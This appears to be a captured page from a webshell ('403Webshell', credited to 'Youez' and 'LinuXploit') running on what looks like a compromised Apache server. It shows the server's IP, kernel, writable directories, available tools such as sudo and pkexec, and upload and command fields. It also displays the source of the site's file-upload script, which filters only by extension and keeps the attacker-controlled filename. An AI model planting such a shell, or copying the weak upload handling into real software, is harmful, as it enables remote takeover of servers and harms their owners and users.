403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ศูนย์คุณภาพ/download/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/ศูนย์คุณภาพ/download/haupload.php
<html>
<head>
<title>อัพโหลดไฟล์งานศูนย์คุณภาพ</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

</head>
<body>
<input type="button" value="Back" onClick="history.go(-1);">
</body>
</html>

<?php

// A list of permitted file extensions
$allowed = array('png', 'jpg', 'gif','zip','pdf','docx','doc','xlsx');

if(isset($_FILES['upl']) && $_FILES['upl']['error'] == 0){

	$extension = pathinfo($_FILES['upl']['name'], PATHINFO_EXTENSION);

	if(!in_array(strtolower($extension), $allowed)){
		echo '{"status":"error"}';
		exit;
	}

	if(move_uploaded_file($_FILES['upl']['tmp_name'], 'uploads/'.$_FILES['upl']['name'])){
		echo '{"status":"success"}';
	}
		

	}

	
	
 
?>


Youez - 2016 - github.com/yon3zu
LinuXploit